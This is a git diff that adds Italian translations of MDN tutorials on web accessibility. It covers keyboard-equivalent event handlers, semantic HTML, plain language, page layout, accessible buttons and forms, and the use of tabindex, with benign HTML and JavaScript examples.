+<p>Come forse già saprai, le interazioni dell'utente con il sito tramite mouse sono gestite in JavaScript usando i gestori di eventi (event handlers), che ci permettono di eseguire funzioni in risposta a determinati eventi attivati dalle azioni compiute dall’utente con il mouse. Alcuni esempi di eventi specificamente relativi al mouse sono <a href="/en-US/docs/Web/Events/mouseover">mouseover</a>, <a href="/en-US/docs/Web/Events/mouseout">mouseout</a>, <a href="/en-US/docs/Web/Events/dblclick">dblclick</a>, ecc. Le funzionalità associate a tali eventi non sono accessibili usando altri dispositivi, come per esempio la tastiera.  </p>
+
+<p>Per attenuare i problemi di accessibilità che ne derivano, dovresti associare a tali eventi altri eventi simili ma che sono attivati in altra maniera (i cosiddetti gestori di eventi indipendenti dal dispositivo). Per esempio <a href="/en-US/docs/Web/Events/focus">focus</a> e <a href="/en-US/docs/Web/Events/blur">blur</a> forniscono accessibilità per gli utenti che navigano con la tastiera.</p>
+
+<p>Vediamo ora un esempio che dimostra questo tipo di situazione. Supponiamo che in una pagina del nostro sito ci sia una immagine in miniatura, che si espande quando ci si passa sopra con il puntatore del mouse, oppure quando riceve focus (per esempio pensiamo al catalogo di un sito di e-commerce).</p>
+
+<p>Abbiamo creato un esempio molto semplice, che puoi trovare qui: <a href="http://mdn.github.io/learning-area/accessibility/css/mouse-and-keyboard-events.html">mouse-and-keyboard-events.html</a> (vedi anche il <a href="https://github.com/mdn/learning-area/blob/master/accessibility/css/mouse-and-keyboard-events.html">codice sorgente</a>). Il codice ha due funzioni per mostrare o nascondere l'immagine ingrandita; qui sotto vediamo il codice dei gestori degli eventi:</p>
+
+<pre class="brush: js">imgThumb.onmouseover = showImg;
+imgThumb.onmouseout = hideImg;
+
+imgThumb.onfocus = showImg;
+imgThumb.onblur = hideImg;</pre>
+
+<p>Le prime due linee di codice riguardano il mouse: la prima funzione si attiva al passare il puntatore del mouse sulla miniatura, mentre la seconda si attiva al togliere il puntatore dall'area della miniatura. Questo codice però non permette di vedere l'immagine ingrandita tramite tastiera. Per poterlo fare, abbiamo aggiunto le atre due linee di codice, che attivano le stesse funzioni quando la miniatura riceve focus o lo perde. Si può spostare il focus sulla miniatura usando il tasto TAB, perchè al codice HTML dell'elemento abbiamo aggiunto l'attributo  <code>tabindex="0"</code>.</p>
+
+<p>L'evento <a href="/en-US/docs/Web/Events/click">click</a> è interessante, a prima vista potrebbe sembrare un evento esclusivamente relativo  al mouse, ma nella maggior parte dei browser il gestore di eventi <a href="/en-US/docs/Web/API/GlobalEventHandlers/onclick">onclick</a> si attiverà anche premendo il tasto INVIO su un link o un elemento di formulario con focus, o quando si clicca sull'elemento con il dito se si usa un dispositivo con touchscreen.</p>
+
+<p>Tieni presente comunque che questo non funziona nel caso in cui si usi <code>tabindex </code>per dare il focus a un elemento che di default non lo potrebbe avere. In casi come questo devi rilevare quando il tasto specifico è premuto (vedi <a href="/it/docs/Learn/Accessibilità/HTML_accessibilità#Implementare_l'accessibilità_da_tastiera_in_un_secondo_tempo">Implementare l'accessibilità da tastiera in un secondo tempo</a>).</p>
+
+<h2 id="Riassunto">Riassunto</h2>
+
+<p> </p>
+
+<p>Speriamo che questo articolo ti sia servito a capire meglio i problemi di accessibilità relativi all'uso di CSS e JavaScript sui tuoi siti o applicazioni.</p>
+
+<p>E ora, WAI-ARIA!</p>
+
+<div>{{PreviousMenuNext("Learn/Accessibilità/HTML_accessibilità","Learn/Accessibilità/WAI-ARIA_basics", "Learn/Accessibilità")}}</div>
diff --git a/files/it/learn/accessibilità/html_accessibilità/index.html b/files/it/learn/accessibilità/html_accessibilità/index.html
new file mode 100644
index 0000000000..26129068e4
--- /dev/null
+++ b/files/it/learn/accessibilità/html_accessibilità/index.html
@@ -0,0 +1,538 @@
+---
+title: 'HTML: una buona base per l''accessibilità'
+slug: Learn/Accessibilità/HTML_accessibilità
+tags:
+  - Accessibilità
+  - Articolo
+  - Bottoni
+  - Formulari
+  - HTML semantico
+  - Lettore di schermo
+  - Link
+  - Principiante
+  - TA
+  - Testo Alternativo
+  - tastiera
+  - tecnologie assistive
+translation_of: Learn/Accessibility/HTML
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/Accessibilità/Cosa_è_accessibilità","Learn/Accessibilità/CSS_e_JavaScript_accessibilità", "Learn/Accessibilità")}}</div>
+
+<p class="summary">Buona parte del contenuto di un sito può essere reso accessibile semplicemente facendo attenzione ad usare sempre nella maniera corretta gli elementi HTML più opportuni per le funzionalità che si vogliono implementare. Questo articolo analizza in dettaglio come il linguaggio HTML può essere usato al meglio per garantire la massima accessibilità.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerequisiti:</th>
+   <td>Conoscimenti basici sull'uso del computer, livello basico di HTML e una idea chiara di <a href="/it/docs/Learn/Accessibilità/Cosa_è_accessibilità">cosa è l'accessibilità</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Obiettivo:</th>
+   <td>Acquisire familiarità con le caratteristiche di HTML che hanno effetti positivi sull'accessibilità, e imparare a usarle correttamente nello sviluppo dei propri siti e applicazioni. </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="HTML_e_accessibilità">HTML e accessibilità</h2>
+
+<p> </p>
+
+<p>Man mano che impari cose nuove su HTML (leggendo nuove risorse, analizzando esempi di codice, ecc.), ti accorgerai sicuramente di un tema ricorrente: l'importanza di usare HTML semantico (a volte chiamato POSH, Plain Old Semantic HTML). Ciò significa utilizzare il più possibile gli elementi HTML più corretti per il proprio scopo.</p>
+
+<p>Forse ti chiederai perché è tanto importante. Dopotutto, puoi usare un combinazione di CSS e JavaScript per far sì che qualsiasi elemento HTML si comporti esattamente come tu vuoi. Per esempio, un bottone che controlla la riproduzione di un video sul tuo sito si potrebbe codificare così:</p>
+
+<p> </p>
+
+<pre class="brush: html">&lt;div&gt;Play video&lt;/div&gt;</pre>
+
+<p>Ma, come vedrai in dettaglio più avanti, ha molto più senso usare un elemento più specifico:</p>
+
+<pre class="brush: html">&lt;button&gt;Play video&lt;/button&gt;</pre>
+
+<p>Non solo l'elemento <code>&lt;button&gt; </code>presenta di default uno stile più appropriato alla sua funzione (anche se probabilmente in seguito modificherai tale stile), ma è anche perfettamente accessibile con la tastiera. Ciò significa che un utente che usa la tastiera per navigare potrà spostarsi da un bottone all'altro del sito usando il tasto TAB, e premere i bottoni usando INVIO.</p>
+
+<p>L'HTML semantico non richiede più tempo per essere scritto del codice non-semantico se lo utilizzi con consistenza sin dal principio del progetto, e inoltre presenta numerosi altri benefici che vanno al di là dell'accessibilità:</p>
+
+<p> </p>
+
+<ol>
+ <li><strong>Maggior facilità nello sviluppo</strong> — come già detto in precedenza, gli elementi HTML semantici hanno già integrate in sè alcune funzionalità aggiuntive. inoltre rendono il codice più facile da leggere e interpretare.</li>
+ <li><strong>Miglior rendimento su dispositivi mobili </strong>— l'HTML semantico è più leggero del non-semantico, e più facile da rendere responsivo.</li>
+ <li><strong>Utile per il SEO</strong> — i motori di ricerca danno maggior importanza alle parole chiave contenute in heading, link, ecc. rispetto a quelle contenute in generici <code>&lt;div&gt;</code> non-semantici, dunque i tuoi siti saranno più facili da trovare. </li>
+</ol>
+
+<p>Ora vedremo più in dettaglio come produrre un codice HTML accessibile.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: È una buona idea installare un lettore di schermo sul tuo computer, così che tu possa testare gli esempi mostrati più avanti. Vedi la guida in inglese <a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility#Screenreaders">Guida ai lettori di schermo</a> per maggiori dettagli.</p>
+</div>
+
+<h2 id="Semantiche_corrette"><strong>Semantiche corrette</strong></h2>
+
+<p> </p>
+
+<p>Abbiamo già parlato dell'importanza di usare la giusta semantica, e perchè è importante usare i corretti elementi HTML per ogni situazione. Questa pratica non può essere ignorata, visto che è una delle principali situazioni in cui l'accessibilità viene compromessa se non si agisce propriamente.</p>
+
+<p>Se si analizzano i siti presenti in rete, si noterà che ci sono casi di utilizzo molto poco ortodosso del codice HTML. Alcuni errori sono dovuti a pratiche ormai in disuso che non sono state debitamente aggiornate, altri semplicemente a ignoranza. In ogni caso, ogni volta che trovi del codice erroneo, dovresti fare il possibile per sistemarlo.</p>
+
+<p>A volte non sei nella posizione di poter correggere del codice mal scritto, per esempio se le tue pagine si basano su un framework esterno su cui non hai controllo, o se sul tuo sito è presente contenuto di terze parti (come ad esempio banners pubblicitari) che non puoi modificare.</p>
+
+<p>Comunque, tieni a mente che l'obiettivo non è "tutto o niente". Ogni piccolo miglioramento che riuscirai a implementare sarà utile alla causa dell'accessibilità.</p>
+
+<h3 id="Contenuto_testuale">Contenuto testuale</h3>
+
+<p>Uno dei più grandi aiuti per un utente che usa un lettore di schermo è una buona struttura del contenuto, diviso in headings, paragrafi, liste ecc. Un buon esempio può essere il seguente codice:</p>
+
+<pre class="brush: html example-good line-numbers language-html"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>h1</span><span class="punctuation token">&gt;</span></span>Titolo<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>h1</span><span class="punctuation token">&gt;</span></span>
+
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span><span class="punctuation token">&gt;</span></span>Questa è la prima sezione del mio documento.<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;</span></span>
+
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span><span class="punctuation token">&gt;</span></span>Ecco qui un altro paragrafo.<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;
+
+&lt;ol&gt;
+  &lt;li&gt;Questa è&lt;/li&gt;
+  &lt;li&gt;una lista&lt;/li&gt;
+  &lt;li&gt;composta da&lt;/li&gt;
+  &lt;li&gt;vari elementi&lt;/li&gt;
+&lt;/ol&gt;</span></span>
+
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>h2</span><span class="punctuation token">&gt;</span></span>Sottosezione<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>h2</span><span class="punctuation token">&gt;</span></span>
+
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span><span class="punctuation token">&gt;Questa è la prima sottosezione del mio documento. Dovrebbe essere facile trovarla!</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;</span></span>
+
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>h2</span><span class="punctuation token">&gt;</span></span>Seconda sottosezione<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>h2</span><span class="punctuation token">&gt;</span></span>
+
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="punctuation token">Questa è la seconda sottosezione del mio documento</span></span>.<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<p>Abbiamo preparato un'altra versione più lunga che puoi provare a navigare con un lettore di schermo (vedi: <a href="http://mdn.github.io/learning-area/accessibility/html/good-semantics.html">buone-semantiche.html</a>). Se provi a leggere tale pagina, ti renderai conto che è facile da navigare:</p>
+
+<ol>
+ <li>Il lettore di schermo legge ogni etichetta man mano che avanza nella lettura del contenuto, facendoti sapere quale è un heading, quale un paragrafo ecc.</li>
+ <li>Il lettore si ferma dopo ogni elemento, permettendoti di procedere al ritmo di lettura che ti è più comodo.</li>
+ <li>Nella maggior parte dei lettori di schermo, puoi saltare al precedente o seguente heading.</li>
+ <li>Molti lettori di schermo inoltre ti forniscono una lista di tutti gli heading presenti, permettendoti di avere un utile indice per trovare contenuti specifici. </li>
+</ol>
+
+<p>A volte si scrivono headings e paragrafi usando HTML non semantico e salti di linea, come nel caso seguente:</p>
+
+<pre class="brush: html example-bad line-numbers  language-html"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>font</span> <span class="attr-name token">size</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>7<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>Titolo<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>font</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>br</span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>br</span><span class="punctuation token">&gt;</span></span>
+Questa è la prima sezione del mio documento.
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>br</span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>br</span><span class="punctuation token">&gt;</span></span>
+Ecco qui un altro paragrafo.
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>br</span><span class="punctuation token">&gt;</span><span class="tag token"><span class="punctuation token">&lt;</span>br</span><span class="punctuation token">&gt;
+1. Questa è
+</span><span class="tag token"><span class="punctuation token">&lt;</span>br</span><span class="punctuation token">&gt;</span><span class="tag token"><span class="punctuation token">&lt;</span>br</span><span class="punctuation token">&gt;
+2. una lista
+</span><span class="tag token"><span class="punctuation token">&lt;</span>br</span><span class="punctuation token">&gt;</span><span class="tag token"><span class="punctuation token">&lt;</span>br</span><span class="punctuation token">&gt;
+3. composta da
+</span><span class="tag token"><span class="punctuation token">&lt;</span>br</span><span class="punctuation token">&gt;</span><span class="tag token"><span class="punctuation token">&lt;</span>br</span><span class="punctuation token">&gt;
+4. vari elementi
+</span><span class="tag token"><span class="punctuation token">&lt;</span>br</span><span class="punctuation token">&gt;</span><span class="tag token"><span class="punctuation token">&lt;</span>br</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>font</span> <span class="attr-name token">size</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>5<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>Sottosezione<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>font</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>br</span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>br</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="punctuation token">Questa è la prima sottosezione del mio documento. Dovrebbe essere facile trovarla</span></span>!
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>br</span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>br</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>font</span> <span class="attr-name token">size</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>5<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>Seconda sottosezione<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>font</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>br</span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>br</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="punctuation token">Questa è la seconda sottosezione del mio documento</span></span>.</code></pre>
+
+<p>Se provi a leggere questa versione con un lettore di schermo (vedi <a href="http://mdn.github.io/learning-area/accessibility/html/bad-semantics.html">cattive-semantiche.html</a>), l’esperienza non ti risulterà positiva. Il lettore di schermo non avrà riferimenti che lo guidino, e non potrà fornirti un sommario dei contenuti. L'intera pagina gli apparirà come un blocco unico, e la leggerà tutta in una volta.</p>
+
+<p>Ci sono inoltre altri problemi che vanno al di là dell'accessibilità: per esempio è difficile applicare stile al contenuto usando CSS, o manipolarlo con JavaScript, perchè non ci sono elementi da usare come selettori.</p>
+
+<h4 id="Usare_un_linguaggio_chiaro">Usare un linguaggio chiaro</h4>
+
+<p>Anche il linguaggio che usi può avere un effetto sull'accessibilità. In generale dovresti usare un linguaggio chiaro e non troppo complesso, privo di termini gergali o eccessivamente tecnici. Ciò non è d'aiuto solo alle persone con disabilità cognitive o di altro tipo; è anche utile ad utenti per i quali il testo è scritto in una lingua che non conoscono bene, a utenti di età molto giovane... Di fatto, è utile a tutti! A parte ciò, dovresti anche fare attenzione a non usare termini e caratteri che risultino poco chiari se letti con un lettore di schermo. Per esempio:</p>
+
+<ul>
+ <li>Non usare trattini se puoi evitarli. Invece di scrivere "5-7", scrivi "da 5 a 7".</li>
+ <li>Espandi le abbreviazioni: invece di "gen", scrivi "gennaio".</li>
+ <li>Cerca di scrivere la forma completa degli acronimi, almeno la prima volta che li usi. Per esempio quando scrivi "HTML" per la prima volta in una pagina, scrivi "Hypertext Markup Language, o HTML".</li>
+</ul>
+
+<h3 id="Layout_di_pagina">Layout di pagina</h3>
+
+<p>Molto tempo fa, era pratica abituale creare layout di pagina con tabelle HTML, usando le celle di una tabella per contenere header, footer, barra laterale, la colonna del contenuto principale ecc. Questa non è una buona pratica, visto che un lettore di schermo molto probabilmente darà una lettura confusa delle celle, soprattutto se il layout è complesso e presenta sottotabelle secondarie.</p>
+
+<p>Prova questo esempio: <a href="http://mdn.github.io/learning-area/accessibility/html/table-layout.html">layout-tabella.html</a>, che corrisponde al seguente codice:</p>
+
+<pre class="brush: html">&lt;table width="1200"&gt;
+      &lt;!-- fila del titolo della tabella --&gt;
+      &lt;tr id="titolo"&gt;
+        &lt;td colspan="6"&gt;
+
+          &lt;h1 align="center"&gt;Header&lt;/h1&gt;
+
+        &lt;/td&gt;
+      &lt;/tr&gt;
+      &lt;!-- fila del  menu di navigazione  --&gt;
+      &lt;tr id="nav" bgcolor="#ffffff"&gt;
+        &lt;td width="200"&gt;
+          &lt;a href="#" align="center"&gt;Home&lt;/a&gt;
+        &lt;/td&gt;
+        &lt;td width="200"&gt;
+          &lt;a href="#" align="center"&gt;Our team&lt;/a&gt;
+        &lt;/td&gt;
+        &lt;td width="200"&gt;
+          &lt;a href="#" align="center"&gt;Projects&lt;/a&gt;
+        &lt;/td&gt;
+        &lt;td width="200"&gt;
+          &lt;a href="#" align="center"&gt;Contact&lt;/a&gt;
+        &lt;/td&gt;
+        &lt;td width="300"&gt;
+          &lt;form width="300"&gt;
+            &lt;input type="search" name="q" placeholder="Search query" width="300"&gt;
+          &lt;/form&gt;
+        &lt;/td&gt;
+        &lt;td width="100"&gt;
+          &lt;button width="100"&gt;Go!&lt;/button&gt;
+        &lt;/td&gt;
+      &lt;/tr&gt;
+      &lt;!-- spacer row --&gt;
+      &lt;tr id="spacer" height="10"&gt;
+        &lt;td&gt;
+
+        &lt;/td&gt;
+      &lt;/tr&gt;
+      &lt;!-- fila del contenuto principale e sezione laterale --&gt;
+      &lt;tr id="main"&gt;
+        &lt;td id="content" colspan="4" bgcolor="#ffffff"&gt;
+
+          &lt;!-- contenuto principale --&gt;
+        &lt;/td&gt;
+        &lt;td id="aside" colspan="2" bgcolor="#ff80ff" valign="top"&gt;
+          &lt;h2&gt;Related&lt;/h2&gt;
+
+          &lt;!-- sezione laterale --&gt;
+
+        &lt;/td&gt;
+      &lt;/tr&gt;
+      &lt;!-- spacer row --&gt;
+      &lt;tr id="spacer" height="10"&gt;
+        &lt;td&gt;
+
+        &lt;/td&gt;
+      &lt;/tr&gt;
+      &lt;!-- fila del footer --&gt;
+      &lt;tr id="footer" bgcolor="#ffffff"&gt;
+        &lt;td colspan="6"&gt;
+          &lt;p&gt;©Copyright 2050 by nobody. All rights reversed.&lt;/p&gt;
+        &lt;/td&gt;
+      &lt;/tr&gt;
+    &lt;/table&gt;</pre>
+
+<p> </p>
+
+<p>Se provi a navigare la pagina con un lettore di schermo, probabilmente ti dirà che c'è una tabella (anche se alcuni lettori di schermo riescono a differenziare i layout a tabella dalle tabelle di dati). Poi dovrai (a seconda del lettore di schermo che stai usando) esplorare la tabella cella per cella, e infine uscirne per poter navigare il contenuto.</p>
+
+<p>I layout a tabella son una reliquia del passato, avevano senso in un'epoca in cui non tutti i browser supportavano CSS, ma creano confusione per gli utenti che usano lettori di schermo, e inoltre sono una cattiva pratica per molte altre ragioni (per esempio richiedono una quantità maggiore di codice e rendono il disegno meno flessibile). Non usarli!</p>
+
+<p>Puoi verificare queste affermazioni comparando le tue esperienze precedenti con un <a href="http://mdn.github.io/learning-area/html/introduction-to-html/document_and_website_structure/">esempio di struttura più moderna del sito</a>, che corrisponde al seguente codice:</p>
+
+<pre class="brush: html">&lt;header&gt;
+  &lt;h1&gt;Header&lt;/h1&gt;
+&lt;/header&gt;
+
+&lt;nav&gt;
+  &lt;!-- navigazione principale --&gt;
+&lt;/nav&gt;
+
+&lt;!-- contenuto principale --&gt;
+&lt;main&gt;
+
+  &lt;!-- articolo --&gt;
+  &lt;article&gt;
+    &lt;h2&gt;Article heading&lt;/h2&gt;
+
+    &lt;!-- contenuto dell'articolo --&gt;
+  &lt;/article&gt;
+
+  &lt;aside&gt;
+    &lt;h2&gt;Related&lt;/h2&gt;
+
+    &lt;!-- contenuto della sezione laterale --&gt;
+  &lt;/aside&gt;
+
+&lt;/main&gt;
+
+&lt;!-- footer, usato in tutte le pagine del sito --&gt;
+
+&lt;footer&gt;
+  &lt;!-- contenuto del footer --&gt;
+&lt;/footer&gt;</pre>
+
+<p>Se provi questa nuova versione del sito con un lettore di schermo, vedrai che il layout del codice non è più un ostacolo alla lettura del contenuto. Inoltre puoi notare come sia molto più agile e leggero in termini di quantità di codice, cosa che implica una maggior facilità di gestione e mantenimento, e minor utilizzo di banda da parte dell'utente (molto utile per chi ha una connessione lenta).</p>
+
+<p>Un'altro aspetto da tenere presente quando si creano layout è quello di usare HTML5 semantico, come visto nell'esempio precedente (vedi il compendio in inglese <a href="/en-US/docs/Web/HTML/Element#Content_sectioning">sezioni del contenuto</a>). Potresti creare un layout usando solo elementi annidati {{htmlelement("div")}}, ma è molto meglio usare elementi specifici appropriati per distinguere le varie sezioni della pagina, come la sezione con gli elementi di navigazione ({{htmlelement("nav")}}), il footer ({{htmlelement("footer")}}), unità di contenuto che si ripetono ({{htmlelement("article")}}), ecc. Questi elementi forniscono un ulteriore contenuto semantico per i lettori di schermo (e per altri strumenti) per dare agli utenti indicazioni extra riguardo il contenuto che stanno navigando (vedi l'articolo in inglese <a href="http://www.weba11y.com/blog/2016/04/22/screen-reader-support-for-new-html5-section-elements/">Supporto dei nuovi elementi HTML5 di sezione nei lettori di schermo </a>per farti un'idea dello stato del supporto nei lettori di schermo).</p>
+
+<div class="note">
+<p><strong>Nota</strong>: oltre ad una buona semantica ed un layout esteticamente apprezzabile, il tuo contenuto dovrebbe essere organizzato in un ordine logico. Puoi sempre muoverlo in seguito utilizzando CSS, ma il codice sorgente dovrebbe essere nel giusto ordine, di modo che gli utenti che usano lettori di schermo lo possano interpretare correttamente. </p>
+</div>
+
+<h3 id="Controlli_di_Interfaccia_Utente">Controlli di Interfaccia Utente</h3>
+
+<p>Con il termine “controlli IU” intendiamo i componenti di un sito con cui gli utenti interagiscono. I più comuni sono bottoni, link e formulari. In questa sezione analizzeremo gli aspetti basici da tenere in considerazione quando si creano tali elementi. Più avanti gli articoli su WAI-ARIA e multimedia prenderanno in considerazione altri aspetti dell'accessibilità IU.</p>
+
+<p>Un aspetto chiave dell'accessibilità dei controlli IU è che di default i browser permettono di interagire con essi tramite tastiera. Puoi fare una prova usando il nostro esempio <a href="http://mdn.github.io/learning-area/tools-testing/cross-browser-testing/accessibility/native-keyboard-accessibility.html">accessibilità-tastiera-nativa.html</a> (vedi il <a href="https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/accessibility/native-keyboard-accessibility.html">codice sorgente</a>): apri la pagina in una nuova scheda e prova a premere il bottone TAB; dopo averlo premuto qualche volta, dovresti vedere il focus muoversi da un elemento all'altro della pagina. Gli elementi con focus hanno un sistema di evidenziazione per rendere chiaro quale elemento è selezionato al momento. Questo sistema varia leggermente da browser a browser.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14215/button-focused-unfocused.png" style="border-style: solid; border-width: 1px; display: block; height: 39px; margin: 0px auto; width: 288px;"></p>
+
+<p>Dopo averlo selezionato tramite TAB, puoi usare il tasto INVIO per premere un bottone (nell'esempio i bottoni quando premuti producono un messaggio di avviso); allo stesso modo, premendo INVIO puoi aprire un link che hai selezionato. Inoltre, dopo averlo selezionato con il tasto TAB, puoi scrivere in un campo del formulario, o selezionare un elemento dal menu a tendina usando i tasti freccia della tastiera.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: i vari browser possono presentare differenti opzioni di controllo da tastiera. Vedi l'articolo in inglese <a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility#Using_native_keyboard_accessibility">Accessibilità con la tastiera</a> per maggiori dettagli.</p>
+</div>
+
+<p>In ogni caso tutti  i browser sono già preconfigurati per la navigazione con tastiera, l'unica cosa di cui devi preoccuparti è usare gli elementi HTML correttamente. Per esempio:</p>
+
+<pre class="brush: html example-good">&lt;h1&gt;Links&lt;/h1&gt;
+
+&lt;p&gt;Questo è un link a &lt;a href="https://www.mozilla.org"&gt;Mozilla&lt;/a&gt;.&lt;/p&gt;
+
+&lt;p&gt;Un altro link, a &lt;a href="https://developer.mozilla.org"&gt;Mozilla Developer Network&lt;/a&gt;.&lt;/p&gt;
+
+&lt;h2&gt;Bottoni&lt;/h2&gt;
+
+&lt;p&gt;
+  &lt;button data-message="Questo messaggio viene dal primo bottone"&gt;Cliccami!&lt;/button&gt;
+  &lt;button data-message="Questo messaggio viene dal secondo bottone"&gt;Clicca anche me!&lt;/button&gt;
+  &lt;button data-message="Questo messaggio viene dal terzo bottone"&gt;E me!&lt;/button&gt;
+&lt;/p&gt;
+
+&lt;h2&gt;Formulario&lt;/h2&gt;
+
+&lt;form&gt;
+  &lt;div&gt;
+    &lt;label for="name"&gt;Inserisci il tuo nome:&lt;/label&gt;
+    &lt;input type="text" id="name" name="name"&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;label for="age"&gt;Inserisci la tua età:&lt;/label&gt;
+    &lt;input type="text" id="age" name="age"&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;label for="mood"&gt;Come ti senti?&lt;/label&gt;
+    &lt;select id="mood" name="mood"&gt;
+      &lt;option&gt;Felice&lt;/option&gt;
+      &lt;option&gt;Triste&lt;/option&gt;
+      &lt;option&gt;Arrabbiato&lt;/option&gt;
+      &lt;option&gt;Preoccupato&lt;/option&gt;
+    &lt;/select&gt;
+  &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<p>Questo significa usare link, bottoni, elementi del formulario ed etichette appropriatamente (includendo l'elemento {{htmlelement("label")}} nei campi del formulario).</p>
+
+<p>Purtroppo a volte queste buone pratiche non sono rispettate. Ad esempio, a volte si trovano bottoni codificati usando elementi {{htmlelement("div")}}:</p>
+
+<pre class="brush: html example-bad">&lt;div data-message="Questo messaggio viene dal primo bottone"&gt;Cliccami!&lt;/div&gt;
+&lt;div data-message="Questo messaggio viene dal secondo bottone"&gt;Clicca anche me!&lt;/div&gt;
+&lt;div data-message="Questo messaggio viene dal terzo bottone"&gt;E me!&lt;/div&gt;</pre>
+
+<p>Questo modo di scrivere codice è altamente sconsigliato: non solo perdi l'accessibilità da tastiera che avresti avuto automaticamente usando l'etichetta {{htmlelement("button")}}, ma perdi anche gli stili CSS di default che l'etichetta {{htmlelement("button")}} contiene.</p>
+
+<h4 id="Implementare_l'accessibilità_da_tastiera_in_un_secondo_tempo">Implementare l'accessibilità da tastiera in un secondo tempo</h4>
+
+<p>Risolvere problemi di accessibilità da tastiera in un sito già ultimato può richiedere un certo sforzo (per un esempio vedi la pagina   <a class="external external-icon" href="http://mdn.github.io/learning-area/tools-testing/cross-browser-testing/accessibility/fake-div-buttons.html">falsi-bottoni-usando-div.html</a> e il suo  <a class="external external-icon" href="https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/accessibility/fake-div-buttons.html">codice sorgente</a>). In questo esempio abbiamo dato ad alcuni bottoni, erroneamente creati con una etichetta <code>&lt;div&gt;</code>, la possibilità di ricevere focus tramite tasto TAB fornendo a ognuno l'attributo <code>tabindex="0"</code>:</p>
+
+<pre class="brush: html">&lt;div data-message="Questo messaggio viene dal primo bottone" tabindex="0"&gt;Cliccami!&lt;/div&gt;
+&lt;div data-message="Questo messaggio viene dal secondo bottone" tabindex="0"&gt;Clicca anche me!&lt;/div&gt;
+&lt;div data-message="Questo messaggio viene dal terzo bottone" tabindex="0"&gt;E me!&lt;/div&gt;</pre>
+
+<p>L'attributo {{htmlattrxref("tabindex")}} è stato creato per dare agli elementi selezionabili tramite tasto TAB un ordine di focus personalizzato (specificato con numeri positivi in ordine crescente), differente dall'ordine standard con cui sono presenti nel codice sorgente. In generale questa non è una buona pratica, e può causare confusione nell'utente. Questo attributo sarebbe da usare solo in casi particolari, per esempio se il layout mostra gli elementi in una forma molto diversa dal codice sorgente. Ma ci sono altri due possibili usi di <code>tabindex</code> che sono utili per l'accessibilità:</p>
+
+<ul>
+ <li><code>tabindex="0"</code>: come mostrato nell'esempio sopra, attribuire un valore di <code>tabindex="0"</code> a un elemento HTML lo rende selezionabile tramite tasto TAB.  Questo è l'utilizzo più utile di <code>tabindex</code> per l’accessibilità.</li>
+ <li><code>tabindex="-1"</code>: questo valore, di per sè nullo, da la possibilità di far sì che un elemento riceva focus programmaticamente, per esempio tramite JavaScript o come destinazione di un link. </li>
+</ul>
+
